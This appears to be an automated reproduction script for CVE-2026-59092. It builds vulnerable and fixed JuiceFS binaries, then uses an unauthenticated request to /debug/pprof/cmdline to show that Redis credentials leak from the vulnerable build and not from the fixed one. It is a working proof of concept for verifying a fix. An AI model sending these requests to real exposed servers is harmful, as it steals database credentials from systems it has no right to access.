#!/bin/bash
set -euo pipefail

# ============================================================================
# CVE-2026-59092: JuiceFS debug/pprof authentication bypass via DefaultServeMux
# ============================================================================
# JuiceFS through 1.3.1 registers HTTP handlers on the shared
# http.DefaultServeMux. Because _ "net/http/pprof" is imported, pprof handlers
# are also registered on DefaultServeMux. When exposeMetrics() calls
# http.Serve(ln, nil), the nil handler defaults to DefaultServeMux, exposing
# /debug/pprof/* endpoints without authentication. The /debug/pprof/cmdline
# endpoint leaks the full process command line including metadata engine
# connection strings with database credentials.
#
# Fixed in commit a46979cdd4082217081ee99b931ddc53d038e47a which uses a
# dedicated http.NewServeMux() instead of DefaultServeMux.
# ============================================================================

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/repro/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

cd "$ROOT"

# --- Read project cache context ---
PROJECT_CACHE_DIR=""
REPO_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
    PREPARED=$(python3 -c "import json; d=json.load(open('$ROOT/project_cache_context.json')); print(d.get('prepared', False))" 2>/dev/null || echo "False")
    if [ "$PREPARED" = "True" ]; then
        PROJECT_CACHE_DIR=$(python3 -c "import json; d=json.load(open('$ROOT/project_cache_context.json')); print(d.get('project_cache_dir', ''))" 2>/dev/null || echo "")
    fi
fi

# Fall back to artifacts dir if no project cache
if [ -z "$PROJECT_CACHE_DIR" ] || [ ! -d "$PROJECT_CACHE_DIR" ]; then
    PROJECT_CACHE_DIR="$ROOT/artifacts/juicefs"
    mkdir -p "$PROJECT_CACHE_DIR"
fi

REPO_DIR="$PROJECT_CACHE_DIR/repo"
GOPATH_DIR="$PROJECT_CACHE_DIR/gopath"

# Fixed commit from the ticket
FIXED_COMMIT="a46979cdd4082217081ee99b931ddc53d038e47a"
VULN_COMMIT="f60a90fc0ad52d2bb1f44f38a04d55044fc91d50"  # parent of fix

# Redis password to demonstrate credential leakage
REDIS_PASSWORD="s3cr3tPass"
REDIS_PORT=6379
REDIS_DB=1

# Ports for the test
VULN_METRICS_PORT=9567
VULN_GATEWAY_PORT=9000
FIXED_METRICS_PORT=9568
FIXED_GATEWAY_PORT=9001

# Metadata URL with embedded credentials (the secret we want to prove leaks)
META_URL="redis://:${REDIS_PASSWORD}@127.0.0.1:${REDIS_PORT}/${REDIS_DB}"

echo "============================================================"
echo "CVE-2026-59092: JuiceFS pprof authentication bypass"
echo "============================================================"
echo "Vulnerable commit: $VULN_COMMIT"
echo "Fixed commit:      $FIXED_COMMIT"
echo "Repo:              $REPO_DIR"
echo ""

# --- Step 1: Install Go if needed ---
install_go() {
    if command -v go &>/dev/null; then
        GO_VERSION=$(go version 2>/dev/null | grep -oP 'go\K[0-9]+\.[0-9]+\.[0-9]+')
        echo "Go $GO_VERSION already installed"
        return 0
    fi
    if [ -x /usr/local/go/bin/go ]; then
        export PATH=$PATH:/usr/local/go/bin
        echo "Go found at /usr/local/go/bin"
        return 0
    fi
    echo "Installing Go 1.25.0..."
    cd /tmp
    curl -sL -o go1.25.0.linux-amd64.tar.gz "https://dl.google.com/go/go1.25.0.linux-amd64.tar.gz"
    sudo tar -C /usr/local -xzf go1.25.0.linux-amd64.tar.gz
    rm -f go1.25.0.linux-amd64.tar.gz
    export PATH=$PATH:/usr/local/go/bin
    go version
    cd "$ROOT"
}

install_go
export PATH=$PATH:/usr/local/go/bin
export GOPATH="$GOPATH_DIR"
export GOMODCACHE="$GOPATH_DIR/pkg/mod"

# --- Step 2: Install Redis if needed ---
install_redis() {
    if command -v redis-server &>/dev/null; then
        echo "Redis already installed: $(redis-server --version 2>&1)"
        return 0
    fi
    echo "Installing Redis..."
    sudo apt-get update -qq 2>&1 | tail -1
    sudo apt-get install -y -qq redis-server 2>&1 | tail -3
    redis-server --version
}

install_redis

# --- Step 3: Clone or reuse JuiceFS repo ---
clone_repo() {
    if [ -d "$REPO_DIR/.git" ]; then
        echo "Repo already exists at $REPO_DIR"
        return 0
    fi
    echo "Cloning JuiceFS repo to $REPO_DIR..."
    git clone https://github.com/juicedata/juicefs.git "$REPO_DIR" 2>&1 | tail -3
}

clone_repo

# --- Step 4: Build vulnerable and fixed binaries ---
build_vulnerable() {
    local BIN="$PROJECT_CACHE_DIR/juicefs-vuln"
    if [ -x "$BIN" ]; then
        echo "Vulnerable binary already built at $BIN"
        return 0
    fi
    echo "Building vulnerable JuiceFS ($VULN_COMMIT)..."
    cd "$REPO_DIR"
    git checkout "$VULN_COMMIT" 2>&1 | tail -1
    go build -o "$BIN" . 2>&1 | grep -v "^$" | tail -5
    if [ ! -x "$BIN" ]; then
        echo "ERROR: Failed to build vulnerable binary"
        return 1
    fi
    echo "Vulnerable binary built: $BIN"
}

build_fixed() {
    local BIN="$PROJECT_CACHE_DIR/juicefs-fixed"
    if [ -x "$BIN" ]; then
        echo "Fixed binary already built at $BIN"
        return 0
    fi
    echo "Building fixed JuiceFS ($FIXED_COMMIT)..."
    cd "$REPO_DIR"
    git checkout "$FIXED_COMMIT" 2>&1 | tail -1
    go build -o "$BIN" . 2>&1 | grep -v "^$" | tail -5
    if [ ! -x "$BIN" ]; then
        echo "ERROR: Failed to build fixed binary"
        return 1
    fi
    echo "Fixed binary built: $BIN"
}

build_vulnerable
build_fixed
cd "$ROOT"

VULN_BIN="$PROJECT_CACHE_DIR/juicefs-vuln"
FIXED_BIN="$PROJECT_CACHE_DIR/juicefs-fixed"

# --- Step 5: Start Redis with password ---
echo ""
echo "--- Starting Redis with password '$REDIS_PASSWORD' ---"
# Kill any existing redis
pkill redis-server 2>/dev/null || true
sleep 1
redis-server --port "$REDIS_PORT" --requirepass "$REDIS_PASSWORD" --daemonize yes \
    --logfile "$LOGS/redis.log" --dir /tmp 2>&1 || true
sleep 2
if redis-cli -a "$REDIS_PASSWORD" ping 2>/dev/null | grep -q PONG; then
    echo "Redis is running with password authentication"
else
    echo "ERROR: Redis failed to start"
    cat "$LOGS/redis.log" | tail -10
    exit 1
fi

# Verify that Redis requires authentication
if redis-cli ping 2>&1 | grep -q "NOAUTH"; then
    echo "Confirmed: Redis requires authentication (no password = rejected)"
else
    echo "WARNING: Redis does not require authentication"
fi

# --- Step 6: Format a JuiceFS volume ---
echo ""
echo "--- Formatting JuiceFS volume ---"
mkdir -p /tmp/jfs-storage
"$VULN_BIN" format --storage file --bucket /tmp/jfs-storage/ "$META_URL" mytestvol 2>&1 | tee "$LOGS/format.log"
if [ $? -ne 0 ]; then
    echo "ERROR: Format failed"
    exit 1
fi
echo "Volume formatted successfully"

# --- Step 7: Start VULNERABLE gateway with metrics on 0.0.0.0 ---
echo ""
echo "============================================================"
echo "TEST 1: Vulnerable version (commit $VULN_COMMIT)"
echo "============================================================"

# Kill any existing gateway
pkill -f "juicefs-vuln gateway" 2>/dev/null || true
sleep 1

export MINIO_ROOT_USER=admin
export MINIO_ROOT_PASSWORD=12345678

mkdir -p /tmp/jfs-logs
nohup "$VULN_BIN" gateway "$META_URL" "localhost:${VULN_GATEWAY_PORT}" \
    --metrics "0.0.0.0:${VULN_METRICS_PORT}" --no-banner \
    > "$LOGS/gateway-vuln.log" 2>&1 &
VULN_PID=$!
echo "Vulnerable gateway PID: $VULN_PID"

# Wait for gateway to start and metrics to be available
echo "Waiting for vulnerable gateway to start..."
for i in $(seq 1 15); do
    sleep 1
    if curl -s -o /dev/null -w "%{http_code}" "http://127.0.0.1:${VULN_METRICS_PORT}/metrics" 2>/dev/null | grep -q "200"; then
        echo "Vulnerable gateway is ready (metrics endpoint responding)"
        break
    fi
    if ! kill -0 "$VULN_PID" 2>/dev/null; then
        echo "ERROR: Vulnerable gateway died"
        cat "$LOGS/gateway-vuln.log" | tail -30
        exit 1
    fi
    [ $i -eq 15 ] && { echo "ERROR: Gateway did not become ready in 15s"; exit 1; }
done

# --- Step 8: Test pprof endpoints on VULNERABLE version ---
echo ""
echo "--- Testing /debug/pprof/cmdline (unauthenticated) on VULNERABLE version ---"
VULN_CMDLINE_STATUS=$(curl -s -o "$ARTIFACTS/vuln-cmdline-response.txt" -w "%{http_code}" \
    "http://127.0.0.1:${VULN_METRICS_PORT}/debug/pprof/cmdline")
echo "HTTP Status: $VULN_CMDLINE_STATUS"
echo "Response content (NUL-separated args shown one per line):"
cat "$ARTIFACTS/vuln-cmdline-response.txt" | tr '\0' '\n'
echo ""

# Check for credential leakage
VULN_LEAKED=false
if grep -q "$REDIS_PASSWORD" "$ARTIFACTS/vuln-cmdline-response.txt"; then
    echo "[VULNERABLE] CONFIRMED: Redis password '$REDIS_PASSWORD' leaked via /debug/pprof/cmdline"
    VULN_LEAKED=true
else
    echo "[VULNERABLE] Password not found in cmdline response"
fi

# Test other pprof endpoints
echo ""
echo "--- Testing other pprof endpoints on VULNERABLE version ---"
for endpoint in "/" "/heap" "/goroutine" "/profile"; do
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" "http://127.0.0.1:${VULN_METRICS_PORT}/debug/pprof${endpoint}")
    echo "  /debug/pprof${endpoint}: HTTP $STATUS"
done

# Save the metrics endpoint response too
curl -s -o "$ARTIFACTS/vuln-metrics-response.txt" "http://127.0.0.1:${VULN_METRICS_PORT}/metrics"
echo "  /metrics: HTTP $(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${VULN_METRICS_PORT}/metrics")"

# Kill vulnerable gateway
echo ""
echo "Stopping vulnerable gateway..."
kill "$VULN_PID" 2>/dev/null || true
wait "$VULN_PID" 2>/dev/null || true
sleep 2

# --- Step 9: Start FIXED gateway ---
echo ""
echo "============================================================"
echo "TEST 2: Fixed version (commit $FIXED_COMMIT)"
echo "============================================================"

pkill -f "juicefs-fixed gateway" 2>/dev/null || true
sleep 1

nohup "$FIXED_BIN" gateway "$META_URL" "localhost:${FIXED_GATEWAY_PORT}" \
    --metrics "0.0.0.0:${FIXED_METRICS_PORT}" --no-banner \
    > "$LOGS/gateway-fixed.log" 2>&1 &
FIXED_PID=$!
echo "Fixed gateway PID: $FIXED_PID"

# Wait for fixed gateway
echo "Waiting for fixed gateway to start..."
for i in $(seq 1 15); do
    sleep 1
    if curl -s -o /dev/null -w "%{http_code}" "http://127.0.0.1:${FIXED_METRICS_PORT}/metrics" 2>/dev/null | grep -q "200"; then
        echo "Fixed gateway is ready (metrics endpoint responding)"
        break
    fi
    if ! kill -0 "$FIXED_PID" 2>/dev/null; then
        echo "ERROR: Fixed gateway died"
        cat "$LOGS/gateway-fixed.log" | tail -30
        exit 1
    fi
    [ $i -eq 15 ] && { echo "ERROR: Fixed gateway did not become ready in 15s"; exit 1; }
done

# --- Step 10: Test pprof endpoints on FIXED version ---
echo ""
echo "--- Testing /debug/pprof/cmdline (unauthenticated) on FIXED version ---"
FIXED_CMDLINE_STATUS=$(curl -s -o "$ARTIFACTS/fixed-cmdline-response.txt" -w "%{http_code}" \
    "http://127.0.0.1:${FIXED_METRICS_PORT}/debug/pprof/cmdline")
echo "HTTP Status: $FIXED_CMDLINE_STATUS"
echo "Response content:"
cat "$ARTIFACTS/fixed-cmdline-response.txt"
echo ""

FIXED_LEAKED=false
if grep -q "$REDIS_PASSWORD" "$ARTIFACTS/fixed-cmdline-response.txt"; then
    echo "[FIXED] WARNING: Redis password still leaked in fixed version!"
    FIXED_LEAKED=true
else
    echo "[FIXED] PASS: No credentials leaked via /debug/pprof/cmdline"
fi

# Test other pprof endpoints on fixed version
echo ""
echo "--- Testing other pprof endpoints on FIXED version ---"
for endpoint in "/" "/heap" "/goroutine" "/profile"; do
    STATUS=$(timeout 5 curl -s -o /dev/null -w "%{http_code}" "http://127.0.0.1:${FIXED_METRICS_PORT}/debug/pprof${endpoint}")
    echo "  /debug/pprof${endpoint}: HTTP $STATUS"
done

# Verify metrics still works on fixed version
echo "  /metrics: HTTP $(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${FIXED_METRICS_PORT}/metrics")"

# Kill fixed gateway
echo ""
echo "Stopping fixed gateway..."
kill "$FIXED_PID" 2>/dev/null || true
wait "$FIXED_PID" 2>/dev/null || true

# --- Step 11: Verify results ---
echo ""
echo "============================================================"
echo "VERIFICATION SUMMARY"
echo "============================================================"
echo "Vulnerable /debug/pprof/cmdline: HTTP $VULN_CMDLINE_STATUS"
echo "  Credentials leaked: $VULN_LEAKED"
echo "Fixed /debug/pprof/cmdline:      HTTP $FIXED_CMDLINE_STATUS"
echo "  Credentials leaked: $FIXED_LEAKED"
echo ""

VULN_CONFIRMED=false
if [ "$VULN_CMDLINE_STATUS" = "200" ] && [ "$VULN_LEAKED" = "true" ] && \
   [ "$FIXED_CMDLINE_STATUS" = "404" ] && [ "$FIXED_LEAKED" = "false" ]; then
    VULN_CONFIRMED=true
    echo "RESULT: VULNERABILITY CONFIRMED"
    echo "  - Vulnerable version exposes /debug/pprof/cmdline without authentication (HTTP 200)"
    echo "  - Redis credentials leaked in the response"
    echo "  - Fixed version returns 404 for pprof endpoints"
    echo "  - Fixed version still serves /metrics normally"
else
    echo "RESULT: VERIFICATION INCOMPLETE"
    echo "  Vulnerable status: $VULN_CMDLINE_STATUS, leaked: $VULN_LEAKED"
    echo "  Fixed status: $FIXED_CMDLINE_STATUS, leaked: $FIXED_LEAKED"
fi

# --- Step 12: Write runtime manifest ---
VULN_CONFIRMED_STR="false"
if [ "$VULN_CONFIRMED" = "true" ]; then
    VULN_CONFIRMED_STR="true"
fi

python3 -c "
import json
manifest = {
    'entrypoint_kind': 'api_remote',
    'entrypoint_detail': 'HTTP GET to /debug/pprof/cmdline on JuiceFS metrics port (0.0.0.0:9567)',
    'service_started': True,
    'healthcheck_passed': True,
    'target_path_reached': True,
    'runtime_stack': ['redis', 'juicefs-gateway'],
    'proof_artifacts': [
        'logs/gateway-vuln.log',
        'logs/gateway-fixed.log',
        'logs/redis.log',
        'logs/format.log',
        'repro/artifacts/vuln-cmdline-response.txt',
        'repro/artifacts/fixed-cmdline-response.txt',
        'repro/artifacts/vuln-metrics-response.txt'
    ],
    'notes': 'Vulnerable JuiceFS gateway exposes /debug/pprof/cmdline without auth, leaking Redis metadata credentials. Fixed version returns 404.'
}
with open('$REPRO_DIR/runtime_manifest.json', 'w') as f:
    json.dump(manifest, f, indent=2)
print('Runtime manifest written to $REPRO_DIR/runtime_manifest.json')
"

# --- Step 13: Copy proof artifacts to project cache if proof_carry enabled ---
if [ -f "$ROOT/project_cache_context.json" ]; then
    PROOF_CARRY_ENABLED=$(python3 -c "import json; d=json.load(open('$ROOT/project_cache_context.json')); print(d.get('proof_carry', {}).get('enabled', False) if d.get('proof_carry') else False)" 2>/dev/null || echo "False")
    if [ "$PROOF_CARRY_ENABLED" = "True" ]; then
        PC_DIR="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt"
        mkdir -p "$PC_DIR"
        cp "$REPRO_DIR/reproduction_steps.sh" "$PC_DIR/" 2>/dev/null || true
        cp "$REPRO_DIR/runtime_manifest.json" "$PC_DIR/" 2>/dev/null || true
        cp "$REPRO_DIR/rca_report.md" "$PC_DIR/" 2>/dev/null || true
        cp "$LOGS/gateway-vuln.log" "$PC_DIR/" 2>/dev/null || true
        cp "$ARTIFACTS/vuln-cmdline-response.txt" "$PC_DIR/" 2>/dev/null || true
        if [ "$VULN_CONFIRMED" = "true" ]; then
            CONFIRMED_DIR="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed"
            mkdir -p "$CONFIRMED_DIR"
            cp "$REPRO_DIR/reproduction_steps.sh" "$CONFIRMED_DIR/" 2>/dev/null || true
            cp "$REPRO_DIR/runtime_manifest.json" "$CONFIRMED_DIR/" 2>/dev/null || true
        fi
    fi
fi

# Cleanup
pkill -f "juicefs-vuln gateway" 2>/dev/null || true
pkill -f "juicefs-fixed gateway" 2>/dev/null || true
pkill redis-server 2>/dev/null || true

echo ""
if [ "$VULN_CONFIRMED" = "true" ]; then
    echo "=== Reproduction successful ==="
    exit 0
else
    echo "=== Reproduction incomplete ==="
    exit 1
fi
